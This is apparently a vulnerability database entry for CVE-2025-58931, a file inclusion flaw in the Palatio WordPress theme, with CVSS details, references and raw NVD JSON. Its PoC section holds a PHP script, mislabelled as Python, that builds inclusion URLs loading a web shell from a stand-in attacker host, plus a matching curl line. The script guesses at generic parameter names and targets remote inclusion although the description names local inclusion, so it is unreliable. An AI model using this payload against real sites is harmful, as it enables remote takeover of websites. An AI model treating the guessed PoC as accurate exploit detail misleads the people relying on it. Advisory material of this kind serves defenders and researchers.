CVE-2025-58931

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Palatio palatio allows PHP Local File Inclusion.This issue affects Palatio: from n/a through <= 1.6.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:palatio:*:*:*:*:*:wordpress:*:* - VULNERABLE

Palatio Theme <= 1.6

Palatio Theme (from n/a through 1.6)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-58931 PoC - Palatio Theme Remote File Inclusion
 * Affected: axiomthemes Palatio Theme <= 1.6
 * Type: PHP Remote File Inclusion
 * CVSS: 8.1 (High)
 * 
 * Usage:
 * 1. Setup malicious PHP file on attacker server
 * 2. Modify TARGET and MALICIOUS_URL below
 * 3. Run: php poc.php
 */

$target = 'http://target-site.com';
$malicious_url = 'http://attacker-server.com/shell.txt';

// Common vulnerable parameters in Palatio theme
$vulnerable_params = [
    'template',
    'page',
    'file',
    'include',
    'load',
    'path',
    'view'
];

// Generate malicious payload
$poc_urls = [];
foreach ($vulnerable_params as $param) {
    $poc_urls[] = $target . '/?' . $param . '=' . urlencode($malicious_url);
}

// Output PoC URLs
echo "[*] CVE-2025-58931 PoC - Palatio Theme RFI\n";
echo "[*] Target: {$target}\n";
echo "[*] Malicious URL: {$malicious_url}\n\n";
echo "[*] Generated PoC URLs:\n";
foreach ($poc_urls as $url) {
    echo "[+] {$url}\n";
}

echo "\n[*] Manual testing:\n";
echo "curl '{$target}/?template={$malicious_url}'\n";

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58931
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58931
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58931/
[4] VulDB https://vuldb.com/cve/CVE-2025-58931
[5] https://patchstack.com/database/Wordpress/Theme/palatio/vulnerability/wordpress-palatio-theme-1-6-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58931", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:00.533", "lastModified": "2026-04-27T20:16:19.850", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Palatio palatio allows PHP Local File Inclusion.This issue affects Palatio: from n/a through <= 1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:palatio:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.6", "matchCriteriaId": "7B359D10-EDEE-451D-923A-0AF124644113"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/palatio/vulnerability/wordpress-palatio-theme-1-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}